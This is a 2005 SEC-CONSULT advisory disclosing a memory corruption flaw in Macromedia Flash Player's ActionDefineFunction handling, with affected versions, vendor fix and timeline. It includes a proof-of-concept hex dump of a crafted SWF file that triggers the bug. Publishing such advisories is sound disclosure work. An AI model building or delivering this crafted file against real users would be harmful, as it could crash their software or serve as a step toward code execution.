Macromedia Flash Player ActionDefineFunction Memory Corruption

SEC-CONSULT Security Advisory 20051107-1

=======================================================================================

title: Macromedia Flash Player ActionDefineFunction Memory Corruption

program: Macromedia Flash Plugin

vulnerable version: flash.ocx v7.0.19.0 and earlier

libflashplayer.so before 7.0.25.0

homepage: www.macromedia.com

found: 2005-06-27

by: Bernhard Mueller / SEC-CONSULT / www.sec-consult.com

=======================================================================================

 

Vendor description:

---------------

 

Macromedia Flash Player is the high performance, lightweight, highly expressive client runtime that delivers powerful and consistent user experiences across major operating systems, browsers, mobile phones and devices.

 

 

Vulnerabilty:

---------------

 

ActionScript is an ECMAScript-based programming language used for controlling Macromedia Flash movies and applications. In SWF files, Actionscript commands are represented by DoAction Tags embedded in frames. SEC Consult has found that parameters to ActionDefineFunction (ACTIONRECORD 0x9b) are not properly sanitized. Loading a specially crafted SWF leads to an improper memory access condition which can be used to crash flash player or may be exploited as a vector for code execution.

This issue is similar to CAN-2005-2628 (as reported by eEye Digital Security on November 4, 2005) but affects a different function. Coincidentally, Macromedia has received our notification of this bug on the same day (June 27).

 

 

Proof of Concept:

---------------

 

A "malicious" flash movie dump:

 

<swf>

----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00

----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00

----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00

----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00

</swf>

 

 

Recommended Fix:

---------------

 

The issue has been addressed in MPSB05-07. Upgrade to the newest version of Flash Player 7 or to Flash Player 8.

 

Link:

 

www.macromedia.com/devnet/security/security_zone/mpsb05-07.html.

 

 

Vendor status:

---------------

vendor notified: 2005-06

fixed: 2005-09

 

 

 

General remarks

---------------

We would like to apologize in advance for potential nonconformities and/or known issues.

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Unternehmensberatung GmbH

 

Office Vienna

Blindengasse 3

A-1080 Wien

Austria

 

Tel.: +43 / 1 / 409 0307 - 570

Fax.: +43 / 1 / 409 0307 - 590

Mail: office at sec-consult dot com

www.sec-consult.com

 

EOF Bernhard Mueller / @2005

bmu at sec-consult dot com